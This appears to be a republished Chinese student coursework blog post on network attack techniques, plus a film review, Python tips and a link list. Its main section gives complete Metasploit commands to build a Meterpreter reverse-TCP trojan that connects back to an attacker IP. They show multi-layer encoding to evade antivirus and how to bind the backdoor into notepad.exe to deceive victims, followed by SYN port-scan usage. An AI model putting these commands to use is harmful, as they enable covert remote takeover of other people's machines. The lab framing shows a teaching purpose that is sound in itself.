Msf编码器是一个非常实用的工具,它能够改变可执行文件中的代码形状,让杀毒软件认不出它原来的样子,而程序的功能不会受到任何影响。和电子邮件附件使用Base64重新编码类似,msf编码器将原始的可执行程序重新编码,并生成一个新的二进制文件。当这个文件运行后,msf编码器会将原始程序解码到内存中并执行。

使用命令“msfencode -h”可以查看msfencode参数说明,“msfencode -l”可以查看msf编码器列表。

light@kali:~# msfencode -l Framework Encoders==================     Name                          Rank       Description    ----                          ----       -----------    cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

5.2 MSFENCODE编码实验

1、生成一个经过msfencode编码的木马文件:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -t exe > Desktop/muma_encode.exe

参数解释 “R”:输出原始数据 “|” : 分割符 “-e”:指定编码器类型 “-t”:输出文件类型 “>”:指定生成文件名(可以用“-o”参数替代)

2、多重编码 单纯的一次msfencode编码现在已经很难绕过杀软,在掌握了上面基本的编码技巧后,我们学习一下msfencode的多重编码。 在Metasploit框架中,允许我们使用多重编码技术来对攻击载荷(msfpayload)进行多次编码,以绕过杀软的特征码检查。 生成一个经过多次msfencode编码的木马文件:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/jmp_call_additive -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 7 -t raw | msfencode -e x86/shikata_ga_nai -c 2 -t exe -o Desktop/muma_multiEncode.exe

参数解释 “-c”:使用当前编码器编码的次数 “raw”:以原始数据类型输出 “-o”:指定生成的文件名

注意:过多次的使用msfencode混合编码虽然绕过杀软检测的效果更好,但同时也有导致木马文件无法正常运行的可能。所以建议在编码后先对所生成文件的可用性进行检查。 请输入图片描述

3、伪装你的木马文件 大多数情况下,当被攻击的用户运行类似我们上面生成的包含后门的可执行文件时,因为什么都没有发生,这很可能会引起用户的怀疑。为了避免被目标察觉,我们可以在启动攻击载荷的同时,捆绑一个宿主程序,让木马达到伪装的效果。 这里使用windows下著名的文本编辑器notepad.exe(32位)程序作宿主程序来进行演示,notepad.exe文件可以在网上下载或者直接从windows系统的c:\windows\system32路径下拷贝出来。

以下生成的木马文件在受攻击端打开时会启动正常的notepad文本编辑器,同时后门程序会在另一个独立进程中执行,连回攻击端。并且具备一定的免杀能力。

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -x Desktop/notepad.exe -k -t exe -o Desktop/muma_notepad.exe

请输入图片描述 捆绑宿主程序

请输入图片描述 运行时启动宿主程序,起到伪装效果

请输入图片描述 生成的文件具备一定免杀能力

参数解释 “-x”: 绑定木马到制定程序 “-k”: 配置攻击载荷在独立的线程中启动

注意 “-k”参数会配置攻击载荷在一个独立的线程中启动,这样宿主程序在执行时不会受到影响,但此参数不一定能用在所有可执行程序上,实际攻击前请确保你已经在实验环境中进行了测试。

6、辅助模块(Auxiliary)


6.1 简介

Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。这些模块可以分为Admin、Scanner、Server三个大类。

Admin Admin HTTP Modules Admin MSSQL Modules Admin MySQL Modules Admin Postgres Modules Admin VMWare Modules

Scanner DCERPC Discovery FTP HTTP IMAP MSSQL MySQL NetBIOS POP3 SMB SMTP SNMP SSH Telnet TFTP VMWare VNC

Server Server Capture Modules

6.2 SYN端口扫描实例

1、进入msfconsole之后,使用auxiliary的syn扫描模块“use auxiliary/scanner/portscan/syn”,接着检查参数情况“show options”,设置必填参数“set RHOSTS 192.168.198.110,120,221-224”,运行“run”。

Tips:多IP参数设置方法 Nmap、Metasploit等工具经常会遇到多ip设置,其语法为: 一个ip段,使用“-”来表示,如192.168.1.20到192.168.1.35可以表示为“192.168.1.20-35”;多个不连续的ip可以用“,”分隔开,如192.168.1.55和192.168.1.66两个不连续ip可以用“192.168.1.55,66”来表示。

 

 

 

三、教材《网络攻防技术》第一、二章实践作业

(一)影评

《异次元骇客》

看完《异次元骇客》的第一个反应是“有没有可能我们所生活的世界也是一个电脑程序呢?”美国著名天文物理学家 Neil deGrasse Tyson在一次研讨会上曾说到:“人类基因和大猩猩有很大一部分是相同的,只有很小的差异,然而看看我们能做什么?而猩猩能做什么?人类最聪明的人,例如史蒂芬·霍金,也不过是懂微积分而已。他也很难想象的到更高级一点的物种所能够掌握的科技。”牛津大学的哲学家 Nick Bostrom 也认为,在遥远的未来,人类完全有能力用电脑去模拟一个和真实世界一模一样的虚拟现实,就像现在我们模拟电脑游戏一样。如果是这样的话,假设我们模拟了一个宇宙,那个宇宙中的人类发展到一定阶段又会模拟一个新的宇宙中的宇宙,以此类推,那么我们有什么理由认为人类就是第一个这样干的呢?至少在概率上是说不通的。

 

当然,以上这些言论都是哲学家思考问题的方式。在我看来,用哲学的思维去思考科学问题是没有任何意义的。我们真正关心的问题是,我们能否在科学上证明我们的宇宙是虚拟的呢?自从量子力学被发现之后,很多实验结果似乎都在告诉我们,我们所生活的世界并不是真实的,而仅仅是运行在一台电脑上的程序而已。所有量子力学的现象,如果我们单独的把它们一个一个拿出来看,都不能证明什么,但如果我们把所有现象放到一起,那么“虚拟世界论”可能就会成为更加合理的解释。

 

(二)攻击机、靶机联通

 

 

 

四、Python 3 简明教程学习总结

1.交换变量

x = 6y = 5x, y = y, xprint x>>> 5print y>>> 6

2.if 语句在行内

print ''Hello'' if True else ''World''>>> Hello123

3.注意浮点数的除法

print .3/.1

>>> 2.9999999999999996

print .3//.1

>>> 2.0

4.数值比较

x = 2

if 3 > x > 1:

   print x

>>> 2

if 1 < x > 0:

   print x

>>> 2

5.每调用一次 print() 就会换一次行,如同上面一样。你可以通过 print() 的另一个参数 end 来替换这个换行符,

print(b, end=' ') 用空格代替换行

print("-" * 50) 字符串若是乘上整数 n,将返回由 n 个此字符串拼接起来的新字符串。

 

 

转载于:https://www.cnblogs.com/weiyier1214/p/8596756.html

你可能感兴趣的文章
Mysql 数据库操作
查看>>
转:linux终端常用快捷键
查看>>
UVa 11059 最大乘积
查看>>
数组分割问题求两个子数组的和差值的小
查看>>
composer 报 zlib_decode(): data error
查看>>
hdu 3938 并查集
查看>>
《深入分析Java Web技术内幕》读书笔记之JVM内存管理
查看>>
python之GIL release (I/O open(file) socket time.sleep)
查看>>
软件开发与模型
查看>>
161017、SQL必备知识点
查看>>
kill新号专题
查看>>
MVC学习系列——Model验证扩展
查看>>
字符串
查看>>
vue2.x directive - 限制input只能输入正整数
查看>>
实现MyLinkedList类深入理解LinkedList
查看>>
自定义返回模型
查看>>
C#.NET 大型通用信息化系统集成快速开发平台 4.1 版本 - 客户端多网络支持
查看>>
HDU 4122
查看>>
Suite3.4.7和Keil u3自带fx2.h、fx2regs.h文件的异同
查看>>
打飞机游戏【来源于Crossin的编程教室 http://chuansong.me/account/crossincode 】
查看>>